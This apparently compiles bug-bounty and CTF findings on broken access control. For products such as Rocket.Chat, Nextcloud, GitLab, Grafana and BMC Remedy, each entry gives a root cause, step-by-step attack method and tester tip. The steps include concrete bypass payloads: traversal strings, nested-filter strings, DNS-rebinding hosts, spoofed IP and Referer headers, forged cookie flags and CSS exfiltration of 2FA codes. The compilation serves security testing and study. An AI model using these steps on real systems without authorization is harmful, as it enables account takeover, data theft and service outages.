Broken Access Control

Root cause

A SOAP web service (Questionmark QMWISe) exposes its WSDL publicly and only gates methods behind a SOAP 'Trust' header that is applied inconsistently; stripping the header bypasses the check, and privileged methods return admin data and a passwordless login URL.

Method

1. Fetch the public WSDL/service description to enumerate methods
2. Call GetAdministratorList with the SOAP Trust/security header removed to dump admin accounts
3. Feed an admin name to GetAccessAdministrator to get a passwordless Enterprise Manager login URL
4. Log in as admin

Insight — For SOAP/legacy services: pull the WSDL, enumerate methods, and test whether the auth header is actually enforced or can simply be omitted. 'Get...List' + 'GetAccess...' method pairs that return login URLs are a direct unauth-to-admin path.

Root cause

expressCart's /admin/user/insert route is not behind the common.restrict admin middleware and decides admin status from the request's Referer header (urlParts.path === '/admin/setup'). A normal authenticated user creates a new user, and by forging the Referer, marks that user as admin.

Method

1. Confirm a state-changing admin route lacks the auth middleware other admin routes use
2. Send the create-user request with a normal user session
3. Set Referer to the value the server uses to grant admin (/admin/setup)
4. New user is created as admin → full app takeover

Insight — Two classic sinks in one: (1) enumerate routes not covered by the auth/restrict middleware, and (2) never trust client-controlled headers (Referer/Origin/X-Forwarded-*) for authorization decisions. A privilege flag derived from Referer is attacker-controlled.

Root cause

A CTF, but the primitives are production-transferable: an account_id from the session cookie is interpolated into a server-side API URL path (SSRF via path traversal); a whitelist redirect endpoint is chained to reach an IP-restricted host; a PHP backend renders template[]=login&template[]=ticket as an array concatenating both templates; and a stylesheet-injection sink exfiltrates per-character 2FA inputs via CSS attribute selectors.

Method

1. Expose creds via /.git/config -> GitHub repo -> logger writes plaintext creds to /bp_web_trace.log; reuse old challenge/challenge_answer (challenge=md5(answer)) to bypass 2FA
2. Tamper account_id in base64 JSON cookie: ../../redirect?url=https://software.host/# to turn the server-side statements fetch into SSRF + path traversal
3. Chain the api /redirect?url= whitelist (other subdomains allowed) to reach the public-IP-restricted software host and browse /uploads
4. Escalate staff->admin: set avatar (used as a CSS class) to 'upgradeToAdmin tab4' and report a page so admin's loose jQuery selectors fire the upgrade; force correct username via template[]=login&username=...&template[]=ticket array merge
5. Exfiltrate the final Headless-Chrome 2FA code via injected <link> stylesheet using one attribute selector per code input

Insight — Treat every ID inside a cookie/JWT as an injection point into server-side request paths. When a whitelist redirect exists, use it as an SSRF relay to internal hosts. In PHP, param[]=a&param[]=b coerces arrays that break single-value assumptions. CSS attribute selectors exfil data char-by-char when you control an embedded stylesheet.

Root cause

A BMC Remedy AR System login gateway routes on user-controlled x-app/x-urlpath/x-redir query params; a path-traversal in x-urlpath followed by clicking login drops the requester into an authenticated admin session (mid-tier fails open when the traversal errors).

Method

1. Load the login gateway URL with x-app=itsm and a legitimate x-urlpath/x-redir
2. Replace x-urlpath with a traversal payload (../../../../../../../../passwd)
3. When the LFI/traversal errors, click Login
4. Land in the full admin panel; pivot to AR System report console to dump PII

Insight — On gateway/reverse-proxy login pages driven by x-* routing params, fuzz the path param with traversal and watch whether an error path drops auth enforcement. BMC Remedy AR System / mid-tier login.jsp is a recurring target.

Root cause

Rocket.Chat does not restrict app management to admins: a normal user can reach /admin/app/install to upload any app, and because the app ID is taken from the attacker-controlled app.json, they can then activate it via POST /api/apps/<id>/status, achieving full app install/enable (path to malicious code execution in the platform).

Method

1. As a non-admin user, open /admin/app/install and upload an app package
2. Read the app ID (controlled by app.json)
3. POST status manually_enabled to /api/apps/<id>/status to activate it

Insight — Admin console routes and their backing APIs often assume the UI hid them from non-admins. Test /admin/* endpoints and their state-change APIs directly with a low-priv session. Attacker-controlled resource IDs (from an uploaded manifest) compound the issue.

Root cause

A CTF, but each stage is a transferable access-control/logic primitive: trusting a base64-encoded id in the URL (IDOR to id=1), a client-side authorization flag in a base64 cookie ({admin:false}->true) to unlock admin content, a single-pass str_replace blacklist defeated by nesting, a nested-template file include, second-order boolean SQLi, and DNS rebinding to defeat a localhost blacklist.

Method

1. IDOR: decode base64 id param (eyJpZCI6M30 = {"id":3}), change to 1, re-encode -> other users' data
2. Info leak -> IDOR: an unauth /sessions endpoint leaks a uuid; feed it to /user?uuid=... for PII
3. Privesc: flip {"cookie":"..","admin":false} to admin:true in the base64 session cookie to gain admin downloads
4. LFI filter bypass: str_replace strips 'admin.php'/'secretadmin.php' once, so nest it: secretadsecretadmiadmin.phpn.phpmin.php resolves to secretadmin.php
5. Template-include & second-order blind SQLi (set name payload, trigger via score request) to extract admin creds
6. DNS rebinding: use rbndr.us (e.g. cb0071d5.7f000001.rbndr.us) to pass an IP allowlist check then resolve to 127.0.0.1 at use time

Insight — Decode and tamper every base64 id/flag in URLs and cookies (IDOR + client-side authz). Blacklists that str_replace once are defeated by nesting the forbidden token. Salted-hash gates (md5($pass.$ip)) are crackable with hashcat -m 10. IP allow/deny checks that re-resolve the host at use time are bypassable with DNS rebinding (rbndr.us / TOCTOU).

Root cause

An app that requires authentication on its main UI exposes the same file-explorer with full read/write when a mode=public request parameter is appended, skipping the auth gate.

Method

1. Identify auth-gated app (here FileCloud /ui/core/index.html)
2. Append ?mode=public and a fragment path to the explorer
3. Create directories and upload arbitrary files (incl. .exe) unauthenticated

Insight — When an app enforces auth on one entry point, fuzz for alternate 'public/guest/anonymous/mode=' parameters and endpoints that expose the same functionality. Product-specific defaults (FileCloud public share mode) are worth learning per-vendor.

Root cause

Multiple independent flaws, most instructive: a non-recursive str_replace blacklist on a template/LFI param, and a fixed-width user record where PHP intval() accepts scientific notation to defeat a length check and overflow the record so the admin flag byte becomes 'Y'.

Method

1. LFI: bypass str_replace('admin.php','') / str_replace('secretadmin.php','') by nesting keywords so removal reassembles the target: secretadmsecretadmadmin.phpin.phpin.php -> secretadmin.php
2. Cookie tampering: flip {"admin":false} -> {"admin":true} in a client-side cookie to reach hidden files
3. Template/SSTI: inject {{template:38dhs_admins_only_header.html}} via the less-obvious 'name' field (not the guarded preview_data) to include an admin-only template
4. Record overflow to admin: signup age=1e5 (passes is_numeric and strlen<=3, intval->100000) plus a long lastname of Y's pushes 'Y' to offset 112 so buildUsers() parses admin=true
5. SSRF via localhost filter bypass: use DNS rebinding (rbndr.us, e.g. 01020304.7f000001.rbndr.us) to pass the 127.0.0.1 check then resolve to loopback

Insight — Blacklist string-replace filters that run once are defeated by nesting the forbidden token inside itself; is_numeric()+intval() accept 1e5 so numeric length checks can be bypassed to overflow fixed-width records; SSRF host allowlists that block 127.0.0.1 by string are bypassed with DNS rebinding.

Root cause

An invitation object migrated from REST to GraphQL; the REST ACL that hid the invitee email when invited by username was not reimplemented on the new GraphQL protection layer, so addReportParticipant returns the target's email.

Method

1. Create a test program + report, grab its integer report_id
2. Base64 the GID gid://hackerone/Report/<id>
3. Call addReportParticipant with the victim username and read invitation{email} from the response

Insight — When an app is mid-migration from REST to GraphQL, re-test every object that used to be ACL-guarded: authorization is enforced per-resolver and old rules routinely fail to carry over. Enumerate mutation payload sub-fields (email, token) that shouldn't be readable.

Root cause

The Saba LMS resolved certain URL paths in a way that granted an ordinary/low-priv user administrator context and let admin resources under /Saba/Web_wdk/.../platform/system/admin/*.rdf be reached directly without an admin session. A trailing-slash-sensitive path (with vs without '/') changed the effective authorization.

Method

1. Log in with a normal account (or reach the app unauthenticated)
2. Navigate directly to an admin path such as /Saba/Web/ADMIN (note: WITHOUT trailing slash, per reporter) to land as 'Saba Administrator'
3. Or request admin .rdf resources directly: /Saba/Web_wdk/.../platform/system/admin/systemMain.rdf , usersStatistics.rdf

Insight — Forced-browse directly to internal admin resource paths (*.rdf, /admin/*) rather than through the UI; access control is often enforced only on the nav flow, not the resource. Try both trailing-slash and no-trailing-slash forms and case variants (platform vs Platform) - normalization differences flip the authorization decision.

Root cause

New bulk 'Export as .zip' features rebuilt report content through a separate code path that ignored the limited-disclosure/internal authz applied in the normal UI, dumping hidden comments and internal attachments; inline attachment IDs were also guessable.

Method

1. Find new export/download/print/PDF/zip features
2. Export a resource whose fields are partially hidden in the UI
3. Inspect the export for content the UI suppressed (internal comments, attachments)
4. Probe attachment identifiers for predictability/enumeration

Insight — Alternate rendering pipelines (export/zip/print/PDF/API) are notorious for skipping the field-level authorization enforced in the main view. Test every new bulk-export feature against restricted resources.

Root cause

A SaaS (CASB) let a user create an integration pointing at a tenant identified only by an enumerable value (MS tenant UUID / domain, GitHub installation_id) without proving control of that tenant, so an attacker could bind their own integration to a victim tenant and surface its data (confused deputy).

Method

1. Enumerate/guess a valid target identifier already onboarded by a real customer (MS tenant UUID or domain, or GitHub installation_id)
2. In your own account, create a new integration of the same type pointing at that identifier
3. The platform's trust in its own OAuth app surfaces the victim tenant's sensitive data to you

Insight — Any 'connect your GitHub/Microsoft org' flow that identifies the target by a guessable id and doesn't verify the requester controls that org is a confused-deputy candidate. Test: create a second integration pointing at an id you don't own. Fix pattern was 'disallow multiple integrations to the same tenant'.

Root cause

An internet-exposed proxy forwards requests to whatever internal virtual host is named in the Host header, granting access to internal-only domains (e.g. snoo.dev).

Method

1. Find the exposed proxy (IP:port)
2. Send a request through it with the Host header set to an internal domain
3. Internal content is returned

Insight — When you find an open proxy/edge, fuzz the Host header with internal domains discovered via cert transparency (censys/crt.sh) and org GitHub code search (e.g. *.dev, *.internal). Routing is often vhost-based with no authz on internal names.

Root cause

When a private report has a pending EMAIL collaboration invite, the report object's title becomes readable to anonymous (logged-out) users through the GraphQL report(id) query.

Method

1. On a victim report, add a collaborator by email (pending invite) via Manage Collaborators
2. In a logged-out session, query report(id:<int>){title} directly or via the hacktivity CSRF token + fetch

Insight — Pending/invite states frequently widen ACLs unexpectedly. Re-test object read permissions in every invite lifecycle state (pending email invite vs accepted) and as an ANONYMOUS user, not just cross-account.

Root cause

After a public reshare link for a subfolder expires, the expiry handling grants access to the original (parent) share instead of denying, so an expired narrow link becomes a broad one.

Method

1. Share folder A with a group.
2. Reshare subfolder B as a public link with an expiry date.
3. Let the link expire.
4. Open the expired link -> instead of an 'expired' message you get access to all files in parent folder A.

Insight — Test share/link expiry as a state transition, not just a boolean. An expired or revoked link may fail open and even broaden scope (subfolder -> parent). Always wait past expiry and re-open old links.

Root cause

The Twitter Android login flow's AccountDuplicationCheck subtask returns the user_id for a submitted phone/email regardless of the account's 'let people find me' privacy setting, enabling email/phone -> user_id (≈username) enumeration for any user.

Method

1. POST onboarding/task.json?flow_name=login to get a flow_token
2. POST the flow_token with subtask LoginEnterUserIdentifier and the target email/phone as text
3. Read user_id from the returned AccountDuplicationCheck subtask

Insight — Multi-step auth/onboarding flows expose many intermediate subtasks (duplication check, password-reset lookup) that resolve identifiers while ignoring privacy toggles enforced only in the main UI. Diff mobile-client flows against web and probe each subtask with a target identifier.

Root cause

Group-level search returns results from projects whose code/MRs are set 'not public', even to logged-out users — the search backend does not apply per-object visibility (CVE-2019-5487).

Method

1. Find a public group containing a public project with private code
2. Logged out, use group search scoped to merge_requests / blobs / commits
3. Use wildcard search (*) filtered by group_id/project_id to dump all private MRs

Insight — Search, export, RSS, and API listing endpoints are notorious for indexing content without re-checking object-level ACLs. When a resource is private, try to reach it through the search index with wildcards and scope filters, unauthenticated.

Root cause

A self-service portal (Salesforce Experience/Community-style) exposes the full User object to any authenticated account through 'Related Lists' and the record-info (i) icon, so an internet-registered low-priv user can enumerate every user's PII (name, email, address, phone).

Method

1. Self-register an account on the open portal
2. Open your profile / a department record and click the (i) info icon next to a lookup field (e.g. Department -> Related Lists -> Users)
3. Click 'All' / the Users related list to list every user object, or type a name in the Select User field and open the (i) record view
4. Read the full PII surfaced for arbitrary users

Insight — On Salesforce/ServiceNow/Dynamics community portals, test whether the standard User object and record 'related lists' or the (i) detail popup are exposed to self-registered users. The UI hiding a list does not mean the object-level ACL is enforced; walk lookup/info widgets to dump directories.

Root cause

The mod-logs GraphQL query does not verify the caller is a moderator of the requested subreddit; the subredditName variable is fully attacker-controlled.

Method

1. Authenticate as any user, grab bearer token
2. POST the mod-log persisted query to gql.reddit.com with subredditName = target
3. Read one page; if hasNextPage true, resend with variables.after = endCursor
4. Loop until hasNextPage is false to dump all mod logs

Insight — Privileged/role-gated GraphQL reads often check the UI, not the API. Supply any target entity name and walk relay pagination (endCursor/hasNextPage) to exfiltrate the full dataset.

Root cause

Notification/subscription delivery does not re-check project visibility ('Only Team Members'); a non-member who subscribes to a user's activity receives emails containing private commit titles and team-member comments.

Method

1. As attacker, open the victim user's profile and subscribe to all their events
2. As victim, comment on any commit in an internal project
3. Attacker receives an email exposing the commit message, comment text and commenter identity

Insight — Notification/email/webhook pipelines are a parallel data path that frequently skips the object-level authz enforced in the UI. After finding a private resource, check whether subscribing, @-mentioning, or event-following delivers its contents out-of-band.

Root cause

Nextcloud's Open Cloud Mesh /ocm/notifications endpoint accepts an anonymous RESHARE_CHANGE_PERMISSION notification that only requires the share's sharedSecret (token). An attacker who legitimately holds a read-only federated share knows that token and can escalate their own permissions to write/share.

Method

1. Obtain any read-only public/federated link and 'add to my Nextcloud'
2. Accept the share; read remote id (providerId) and token from oc_share_external
3. POST a forged RESHARE_CHANGE_PERMISSION to the origin server with those values and desired permissions
4. Enjoy read+write+share on a share that was granted read-only

Insight — Server-to-server/federation callback endpoints (webhooks, OCM, SCIM) are often unauthenticated beyond a shared token the recipient already possesses, and they trust attacker-supplied permission fields. Test whether a share recipient can call the origin's notification API to grant themselves higher permissions.

Root cause

A postMessage-driven 'socket' command in the Grammarly extension let a page make the background page open a WebSocket (wss, with cookies) to an arbitrary URL and process commands returned by the attacker's WS server; CORS/SOP do not apply to WebSockets so this bypassed same-origin protection.

Method

1. From a page, send the extension's socket 'connect' command with attacker url
2. Background page opens wss to attacker (or to internal friendly endpoints) carrying cookies
3. Send/receive data; connect to app WS endpoints (e.g. document-edit WS) as the victim

Insight — WebSockets ignore CORS - only the server's Origin check protects them. A confused-deputy (extension/background page) that lets a page choose the WS URL sends the victim's cookies cross-origin. Audit WS-opening command handlers.

Root cause

The 'disable ads' preference was gated to premium users only in the UI, but /_api/update_user_setting did not verify premium status (and didn't validate Content-Type), so any authenticated user could set showAds:false.

Method

1. Log in as a non-premium user on dic.pixiv.net
2. POST /_api/update_user_setting with {"setting":{"showAds":false,"showNewUI":true}}
3. {success:true}; ads now disabled despite no subscription

Insight — Paywalled/tier-gated features are often enforced only by hiding the control. Call the underlying settings/mutation endpoint directly as a free/low-tier user and set the premium flag; also try loosened Content-Type since many endpoints don't validate it.

Root cause

An exported activity (DeepLinkRouter, exported=true) routed a custom-scheme deeplink into a WebView; for one path (zloyaltywebview with navigation_bar_type=transparent) it skipped the host allowlist and loaded the attacker-supplied url param, leaking the app's access token to an arbitrary origin.

Method

1. Decompile app, find exported activity handling custom scheme
2. Map code path that loads a url param into WebView bypassing host check
3. From a malicious app/HTML, fire the intent/deeplink with url pointing to attacker sniffer

Insight — For any exported=true activity, decompile and trace user-controlled deeplink params into WebView.loadUrl. A branch that skips the host allowlist (feature flags like navigation_bar_type) lets you load attacker URLs and exfiltrate Authorization headers/tokens.

Root cause

Closing a report as duplicate only checked can?(:view, original_report); limited-disclosure reports and same-org reports also pass that view ACL, so a program member can mark their report duplicate of an unrelated/other-program report.

Method

1. As a member with report access in a sandbox program, close a report as duplicate
2. Intercept POST /reports/bulk
3. Set original_report_id to an unrelated program's (even private/limited-disclosure) report id
4. 200 OK - report closed as duplicate of the foreign report

Insight — A 'can view' permission is not a 'can associate/reference' permission; wherever an id is accepted for linking/duplicating, confirm the authz check matches the action's real trust requirement, not merely visibility.

Root cause

The invite endpoint keys the acting admin off a user id in the path (/api/v1/users/<User ID>/invites) without verifying the caller IS that user; it also failed to restrict which roles could be invited, enabling privilege escalation.

Method

1. Capture the invite request POST /api/v1/users/<your id>/invites
2. Change <User ID> in the path to another admin's id -> invite is sent on their behalf
3. Extend to assign a restricted role (User Management) that should be blocked

Insight — When a user id sits in the path of a state-changing endpoint, test acting as/for another user (BFLA); combine with unvalidated role parameters to escalate the invitee's privileges.

Root cause

When Elasticsearch is enabled, group search returns merge requests, issues and note activity from unrelated private groups because the search layer does not re-apply per-object authorization; the UI hides most of it but the API returns full data.

Method

1. Perform a group-scoped search, e.g. scope=merge_requests with search=!435 & group_id=<yours>
2. Paginate to the end; observe MRs from groups you have no access to
3. Repeat via API (scope=merge_requests/notes) to harvest far more private metadata
4. Note that '!' + arbitrary numbers reliably surfaces other groups' MR references

Insight — Search/indexing features are a classic authz blind spot: the index is built without tenant scoping. Always test search endpoints (esp. their APIs, which return more than the UI) for cross-tenant/private object leakage; probe with reference syntaxes like !123, #123.

Root cause

The Snaps allowedOrigins check builds a regex without a proper end anchor/line terminator, so an attacker-controlled origin string can append/prefix extra characters and still match, defeating origin restriction (up to calling Keyring exportAccount).

Method

1. Identify where the target validates origin/host with a regex built from a config value
2. Test whether the pattern is anchored (^...$) and whether newlines/extra path/subdomain segments still match
3. Craft a malicious origin that satisfies the unanchored pattern

Insight — Audit every origin/host/redirect allowlist for regex anchoring. Missing ^ or $ (or unescaped dots, missing \\A/\\z in Ruby, ignoring newline with /m) turns an allowlist into a substring match. Try suffix (allowed.com.evil.com), prefix, and newline payloads.

Root cause

The /admins API endpoint must be public so customers can invite users, but it lacks checks on the privilege level being granted, so an attacker can create 'super'-admin accounts intended only for internal use.

Method

1. Locate the public admin-invite/creation endpoint (/admins)
2. Submit a create request specifying an elevated/internal role value
3. Server accepts it and provisions a super-admin account

Insight — When a creation endpoint must be public for legitimate low-priv use (invite user), test whether the role/privilege field is authorization-checked. Attempt to set internal/elevated role values - mass-assignment of a privilege field is common.

Root cause

The dust_app_secrets endpoints don't enforce role checks, so a Builder (not meant to manage secrets) can list all secret names, create secrets, and silently overwrite an existing secret's value by POSTing the same name.

Method

1. As a Builder, GET the secrets endpoint to enumerate all secret names
2. POST a secret with a name that already exists to overwrite its value
3. POST a new name to create arbitrary secrets

Insight — For every role below admin, test the admin-scoped resource endpoints directly (secrets, members, billing, integrations). List+create+update on secrets by a builder/editor is a high-impact BFLA; overwrite-by-name enables config/credential tampering and supply-chain-style attacks.

Root cause

A Google Cloud Storage bucket fronting a JS-delivery CDN accepted anonymous PUT when Content-Type was blank or application/octet-stream (other types triggered a GCS auth error), letting anyone create or overwrite served .js files.

Method

1. Identify a CDN host serving JS for in-scope apps (vpe.cdn.vimeo.tv)
2. Send an HTTP PUT for a .js path with Content-Type blank or application/octet-stream
3. Overwrite an existing script or create a new one containing JS; it is then served to all customers as same-origin script

Insight — On any storage-backed CDN, probe the write verbs (PUT/POST/DELETE) and vary Content-Type - misconfigured bucket ACLs frequently allow anonymous writes only under a specific/blank content type. Overwriting a served .js gives stored XSS on every consumer origin.

Root cause

The ride-status transition endpoint (/api/setTenderStatus?status=accept) does not verify that the caller is the passenger who owns the order; a driver, using tender_id/order_id learned from their own bid request, forces the passenger to 'accept', bypassing the two-sided negotiation and revealing passenger PII.

Method

1. Driver sends a normal bid via /api/driverrequest and captures tender_id + order_id from the response
2. Driver calls /api/setTenderStatus with status=accept for that tender_id/order_id
3. The order is auto-accepted on the passenger's behalf, exposing passenger phone/PII even without the passenger accepting
4. Chain: also tamper the price field in the bid request to force an out-of-range fare

Insight — For any accept/confirm/approve action in a multi-party workflow, test whether the initiating party can perform the counterparty's transition. IDs needed for the forced transition are often handed to you in an earlier legitimate response. Combine with price/param tampering for a business-impact chain.

Root cause

GitHub Enterprise Server's compare/diff between two repositories did not fully authorize the second repo, letting a user with access to any repo retrieve limited code from a target private repo by diffing against it.

Method

1. Know the target private repo name plus a branch/tag/commit SHA
2. Trigger compare/diff between a repo you control and the target
3. Retrieve limited code content returned by the diff without proper authorization

Insight — Compare/diff/merge/preview features take TWO object references - the second is often under-authorized. General primitive: any operation over a pair of resources may only check the one you own. CVE-2025-8447. Limited disclosure; mechanism per advisory.

Root cause

autoTranslate.translateMessage DDP method accepts a client-supplied IMessage object and passes it to translateMessage() without checking Meteor.userId() or room membership; the parallel REST endpoint was fixed with canAccessRoomAsync but the DDP method was missed.

Method

1. Authenticate over DDP (websocket)
2. Call autoTranslate.translateMessage passing an IMessage referencing any message id from any private channel/DM/E2EE room
3. The method returns that message's content

Insight — When a REST endpoint gets an authz fix, check its transport twins (DDP/websocket/GraphQL/internal RPC) for the same missing check. Methods that accept a fully client-supplied object (IMessage) rather than fetching it server-side skip the room/ownership gate.

Root cause

A prior confused-deputy fix keyed its 'integration already exists' check on the exact-case tenant UUID; changing the casing produced a 'new' key that slipped past the check and re-created a malicious integration surfacing another tenant's data.

Method

1. Identify a uniqueness/dedup constraint keyed on a user-supplied identifier
2. Enumerate a valid target tenant UUID
3. Resubmit with altered casing (or other canonicalization difference) to defeat the exact-match check
4. A duplicate integration is created, re-triggering the original confused-deputy exposure

Insight — When a patch adds a uniqueness/one-per-tenant constraint, test case-folding and other canonicalization variants (URL-encoding, trailing dot, unicode) of the key; case-sensitive checks over case-insensitive backends are re-exploitable.

Root cause

The UI hides the users page from read-only users, but the backing API enforces no authorization on the privilege-change endpoint; a read-only user can PUT to the API and change their own permissions to admin.

Method

1. Log in as a read-only user.
2. Locate the user/permission update API call (observed in an admin session or guessed by convention).
3. Send a PUT changing your own role to admin.

Insight — UI hiding is not access control. For every action absent from a low-priv UI, reconstruct the API call (from docs, another role's traffic, or REST conventions) and send it directly — self-role-change via PUT is a frequent finding.

Root cause

A REST endpoint controlling application lifecycle state accepted an unauthenticated PUT setting appState=quiesce, taking the service offline; missing authorization on a control-plane function.

Method

1. Locate a state/lifecycle endpoint (GET /api/application/state)
2. Change the method to PUT and supply a JSON state body
3. Send; service returns 502 within ~15s and stays down

Insight — On admin/control-plane REST APIs, probe verbs beyond GET (PUT/POST/PATCH) on *state*, *config*, *lifecycle*, *maintenance* endpoints; unauthenticated state writes can quiesce/restart/kill the service.

Root cause

A 'member' role had no UI access to the admin Rooms area, but the backing API GET /meet-external/spot-roomkeeper/v1/calendar/auth/init enforced no role check, letting a member's JWT drive the admin-only calendar/email OAuth binding.

Method

1. Observe the admin-only feature (Rooms calendar sync) and capture the API call an admin makes
2. Replay the request using a low-priv member's JWT
3. Receive the OAuth authorize URL and complete the flow
4. Member's email/calendar is bound into the admin Rooms area

Insight — UI role-gating is not authorization. For every admin-only feature, capture its API call and replay with a lower-privileged token; broken function-level authorization (BFLA) lives in the endpoint, not the menu.

Root cause

Class-join URLs (/join/<code>) are indexed by search engines, so a site: dork enumerates all join links and lets an attacker join arbitrary classes without an invite.

Method

1. Run a site dork for the join path.
2. Open enumerated links and complete signup to join without invitation.

Insight — Access control that relies on link secrecy fails when the links are crawlable. For any invite/share/join URL, dork site:target/<path>/* and check Wayback/gau; indexed 'secret' URLs are a free enumeration primitive.

Root cause

The PreSignedURL validator calls urlIsExpired() before verifying the signature; on an expired date it returns a nil error, so the signature is never checked and the request is authenticated. Any file is reachable knowing only username + filename.

Method

1. Confirm PreSignedURL is enabled (default) and allows GET.
2. Build a WebDAV file URL for a known username/filename.
3. Append OC-Credential, OC-Verb=GET, an already-expired OC-Date, OC-Expires, and any OC-Signature value.
4. Request it unauthenticated -> file is returned.

Insight — When a system validates a signed/expiring URL, deliberately send an EXPIRED timestamp and a garbage signature. If the expiry branch short-circuits before signature verification, expiry becomes an auth bypass. Test the fail-open order of every 'expired?' check.

Root cause

A path trusts the client IP from the X-Forwarded-For header; setting it to a loopback/internal value makes the app treat the request as internal and expose restricted config/bucket details.

Method

1. Identify an endpoint that behaves as internal-only or returns different data by source IP.
2. Add X-Forwarded-For: 127.0.0.1 (also try X-Real-IP, X-Client-IP, X-Originating-IP).

Insight — Whenever access seems tied to 'internal' vs 'external', spoof the client-IP headers. Loopback and RFC1918 values in XFF/X-Real-IP frequently flip apps into a privileged/internal mode.

Root cause

The Change-Email UI requires the current password, but the admin user-access endpoint (agency-user.php) accepts a POST that updates any user's email (including the admin's) without re-authentication - the re-auth is enforced only on the self-service path.

Method

1. Log in with access to Inventory -> User Access
2. Select the admin user and click Save changes while intercepting the request
3. Modify email_address (and userid) to the target and desired address
4. Send; the target user's email is changed with no password confirmation

Insight — A sensitive change (email/password) may be guarded by re-auth on one path but performed unguarded by an admin/bulk endpoint. Enumerate all endpoints that write the same field; changing a victim/admin email is a classic account-takeover primitive.

Root cause

BuddyPress 'restrict group invites to friends only' is enforced only in the UI; the groups_send_group_invites admin-ajax action does not re-validate the target's privacy setting, so a direct POST invites a non-friend anyway.

Method

1. Victim (A) enables 'restrict group invites to my friends only'
2. Attacker (B), not friends with A, sends a direct POST to admin-ajax
3. Set users[]= to A's user id
4. A receives the group invite despite the restriction

Insight — UI-hidden actions are not disabled server-side. For every privacy/permission toggle, replay the underlying AJAX/API call directly and confirm the server independently enforces it.

Root cause

The deleteFileMessage Meteor method could be invoked over an unauthenticated DDP WebSocket where Meteor.userId() returns null; the authorization branch was skipped and execution fell through to an unconditional deleteById.

Method

1. Open an unauthenticated DDP WebSocket to the Rocket.Chat server
2. Harvest file IDs from public channel message payloads / download URLs
3. Call the deleteFileMessage method with a target fileID
4. File is permanently removed from storage and DB

Insight — In Meteor/DDP apps, test every registered method unauthenticated: guards that assume a non-null Meteor.userId() fail open when the caller never logs in. Enumerate object IDs from public payloads.

Root cause

User data directories are named directly from the (attacker-chosen) uid without reserving system names; a group-admin creates a user named after an internal data folder (files_external, appdata_*), then deleting that user recursively removes the corresponding real directory (CVE-2019-15624).

Method

1. As a group admin, create a new user with uid = an internal data-dir name (e.g. files_external, appdata_<random>)
2. Delete that user
3. The matching data/<name> folder (shared/admin data) is removed

Insight — When an app derives filesystem paths from user-controlled identifiers, test names that collide with reserved/system directories (., .., appdata, config, admin uids). Account create/delete lifecycle can become an arbitrary directory delete.

Root cause

Node.js experimental permission enforcement (policy mechanism and later the --permission Permission Model) can be bypassed through built-in escape hatches that never route through the policy check: Module._load()/require.extensions[.js] load modules outside policy.json; the inspector module opens a debugging channel; process.report.writeReport() path validation can be tricked to write outside allowed paths.

Method

1. Run target under the experimental policy/permission model expecting e.g. child_process to be blocked
2. Use Module._load('child_process') or override require.extensions['.js'] to load an unauthorized module bypassing policy.json (CVE-2023-32002)
3. Alternatively enable/use the inspector module to regain restricted capability (CVE-2023-30587, #2078581)
4. Or abuse process.report.writeReport() path misvalidation to write files outside the permitted set (#3692858)

Insight — Sandboxes/permission models built on top of a language with many built-in reflection and file APIs are only as strong as their most obscure escape hatch. When assessing any allowlist-based runtime restriction, enumerate ALL primitives that reach the same capability (module loaders, debuggers, report/dump writers, worker threads) and test each independently.

Root cause

Removing/deleting a user from a workspace only revokes UI access; the user's still-valid session cookie continues to authorize READ/WRITE API actions because sessions are not invalidated on removal.

Method

1. Invite a user, accept, and capture their authenticated session cookie
2. From the admin account remove/deactivate that user
3. Replay the removed user's prior requests with the saved cookie
4. Observe continued READ/WRITE access (e.g. /api/v1/users/UUID/roles)

Insight — After any deactivate/remove/role-downgrade action, replay the victim's captured session against the API - many apps enforce membership only at login/UI and never invalidate live sessions or re-check on each request.

Root cause

BMC Remedy ITSM enforces authorization by the landing form path; substituting the URL path segment after /forms/arpc/ with an admin view path grants access to admin functionality (chained with search-engine-exposed credentials).

Method

1. Find exposed Remedy creds via search engines (indexed login pages/configs)
2. Log in at /arsys/shared/login.jsp
3. On the error/landing page, take the URL after /forms/arpc/
4. Replace it with /User/Default+Admin+View1/ to reach the admin view

Insight — For form/view-driven enterprise apps (Remedy, ServiceNow-style), authorization is often tied to the requested view/form name in the URL - swap it for a known privileged view; also always search engines for indexed creds of the same product.

Root cause

The MK8DX matchmaking server accepted a client-supplied attribute list on CreateCompetition without validation; setting attribute index 12=Official and 13=Recommended made an attacker-created tournament appear as an official Nintendo one.

Method

1. Call MatchmakeExtensionProtocol::CreateCompetition via the NEX server
2. Supply a SimpleSearchObject whose attributes[12]=2 (Official) and attributes[13]=2 (Recommended)
3. Competition surfaces in the 'Recommended'/official section for all players

Insight — Any field that encodes trust/role/tier (isOfficial, isAdmin, verified, tier) and is echoed from the client is a privilege bug - flip it and see if the server re-derives it; game/RPC backends frequently trust client attribute blobs.

Root cause

Grafana snapshot endpoints allow unauthenticated and authenticated users to view and delete the snapshot with the lowest database key by hitting literal paths, enabling a walk through and deletion of all snapshot data.

Method

1. Fingerprint Grafana version (< patched)
2. GET /api/snapshots/:key or /dashboard/snapshot/:key to view the lowest-key snapshot
3. DELETE via /api/snapshots/:key or /api/snapshots-delete/:deleteKey (unauth if public_mode=true)
4. Iterate to enumerate/delete all snapshots

Insight — On Grafana instances check version and hit /api/snapshots/:key - a classic known-CVE win; keep a per-product CVE checklist for fingerprinted software rather than only testing custom logic.

Root cause

A read-only invited member can perform a write (rename device) against another org because the server authorizes on the request body's organization_id without checking the caller's role/membership for that org.

Method

1. Create org A (admin) and invite account B as read-only
2. As B, capture a delete/other request that exposes the target organization_id
3. As B, submit a device-name update but replace the org id with A's organization_id
4. Change is applied in admin org A

Insight — Object-scoping ids in the body (organization_id, account_id, tenant_id) are BOLA sinks even when the UI enforces roles. A-B-A test: capture a privileged id, replay a state-changing call from a low-priv session with that id swapped in.

Root cause

The 'Hide Download'/Secure View share option only removes the download button in the UI; the underlying download route still serves the file, so appending /download to the public share URL retrieves it (CVE-2020-8139).

Method

1. Open a public share configured with Hide Download / Secure View
2. Append /download to the share URL
3. Browser downloads the file that was 'protected'

Insight — Client-side 'view only / no download / no copy' controls are almost always UI-only - request the raw resource route (/download, /raw, ?format=..., direct blob URL) to confirm the restriction isn't enforced server-side.

Root cause

Authentication/authorization decision is made in client-side JavaScript (a loginChk() function reading a form field); the server never independently verifies, so overwriting the field in the browser grants admin access.

Method

1. Open the login page and inspect the JS auth function (e.g. loginChk())
2. In DevTools console call it -> returns false
3. Overwrite the checked form value: document.forms[0].scSelCen.value='admin'
4. Submit -> logged into the admin panel

